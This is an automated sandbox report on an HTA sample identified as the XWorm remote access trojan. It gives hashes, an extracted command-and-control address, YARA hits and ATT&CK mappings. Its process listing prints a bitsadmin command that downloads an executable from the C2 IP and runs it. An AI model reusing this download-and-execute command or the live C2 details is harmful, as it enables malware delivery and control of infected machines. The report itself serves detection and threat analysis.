xworm | cf6cab6b405f7e849e6585f6f4c1ae3fd155b75d8ceb197bd0cf46a9b4c5f91b

Analysis

max time kernel
118s
max time network
121s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
03/04/2024, 01:58

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General

Target
cf6cab6b405f7e849e6585f6f4c1ae3fd155b75d8ceb197bd0cf46a9b4c5f91b.hta
Size 834B
Sample240403-cdt5zach47
SHA256 cf6cab6b405f7e849e6585f6f4c1ae3fd155b75d8ceb197bd0cf46a9b4c5f91b
MD5 e81963d4c5a431f529c7669d3595a943
SHA1 82ac49f24caad73263ae461a2c1c7546b1ba9ded
SHA512 2ba83def4a81ede89bd54a5c0d4b4592985c13a10507b9a2dfb45c46e6e234d54dc14f98562eb2d3d3766e28290e83175c098a6203dd52effacc0176da7bb209
MD5 SHA1 SHA512

Score

10^/10

xworm rat trojan

Malware Config

Extracted

Family

xworm

210.246.215.82:7000

Attributes

Install_directory
%ProgramData%
install_file
WindowsNT.exe

Signatures

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral1/memory/2496-0-0x0000000000FA0000-0x0000000000FFA000-memory.dmp	family_xworm
behavioral1/memory/2496-2-0x000000001B3F0000-0x000000001B470000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Detects Windows executables referencing non-Windows User-Agents 1 IoCs

resource	yara_rule
behavioral1/memory/2496-0-0x0000000000FA0000-0x0000000000FFA000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_NoneWindowsUA

Downloads MZ/PE file

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
8	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Download via BitsAdmin 1 TTPs 1 IoCs

dropper

BITS Jobs

T1197

pid	Process
2500	bitsadmin.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1658372521-4246568289-2509113762-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2496	s.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1692 wrote to memory of 2500	1692	mshta.exe	28
PID 1692 wrote to memory of 2500	1692	mshta.exe	28
PID 1692 wrote to memory of 2500	1692	mshta.exe	28
PID 1692 wrote to memory of 2500	1692	mshta.exe	28
PID 1692 wrote to memory of 2496	1692	mshta.exe	30
PID 1692 wrote to memory of 2496	1692	mshta.exe	30
PID 1692 wrote to memory of 2496	1692	mshta.exe	30
PID 1692 wrote to memory of 2496	1692	mshta.exe	30

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\cf6cab6b405f7e849e6585f6f4c1ae3fd155b75d8ceb197bd0cf46a9b4c5f91b.hta"
1⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:1692
- C:\Windows\SysWOW64\bitsadmin.exe
  "C:\Windows\System32\bitsadmin.exe" /transfer 8 http://210.246.215.82/s.exe C:\ProgramData\s.exe
  2⤵
  - Download via BitsAdmin
  PID:2500
- C:\ProgramData\s.exe
  "C:\ProgramData\s.exe"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2496

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

BITS Jobs

T1197

Privilege Escalation

Defense Evasion

BITS Jobs

T1197

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2496-0-0x0000000000FA0000-0x0000000000FFA000-memory.dmp

Download

memory/2496-1-0x000007FEF62D0000-0x000007FEF6CBC000-memory.dmp

Download

memory/2496-2-0x000000001B3F0000-0x000000001B470000-memory.dmp

Download

memory/2496-3-0x000007FEF62D0000-0x000007FEF6CBC000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads